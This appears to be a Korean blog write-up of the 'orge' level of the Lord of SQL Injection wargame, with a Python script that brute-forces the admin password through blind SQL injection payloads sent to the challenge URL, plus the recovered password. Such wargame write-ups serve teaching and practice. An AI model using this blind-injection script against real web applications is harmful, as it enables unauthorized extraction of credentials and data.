Web/Lord of Sql injection

orge 문제 풀이

Namchun 2023. 9. 9. 00:38

코드 분석

필터링 과정에서는 darkelf 문제와 다를 것이 없지만, addslashes() 함수를 사용하여 실제 result의 pw와 내가 입력한 실제 값과 비교하여 solve() 여부를 결정하기 때문에 pw를 직접 추출해 내야 할 것이다.

 

darkelf의 조건문에 and 연산자로 pw의 index값을 찾는 조건을 추가하여 payload를 전송하였다

import requests

url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'

password = ''
for i in range(1, 8+1):
    for ct in range(32, 127):
        payload = f"?pw='||id='admin'%26%26ascii(substr(pw,{i},1)) = {ct} -- '"

        r = requests.get(url + payload, cookies={'PHPSESSID':'l1b061ds8uj3d4osikujds87pa'})

        if 'Hello admin' in r.text:
            password += chr(ct)
            print(password)
            break
# 7b751aec

 

'Web > Lord of Sql injection' 카테고리의 다른 글

vampire 문제 풀이  (0) 2023.09.09
troll 문제 풀이  (0) 2023.09.09
darkelf 문제 풀이  (0) 2023.09.09
wolfman 문제 풀이  (0) 2023.09.07
orc 문제 풀이  (0) 2023.09.06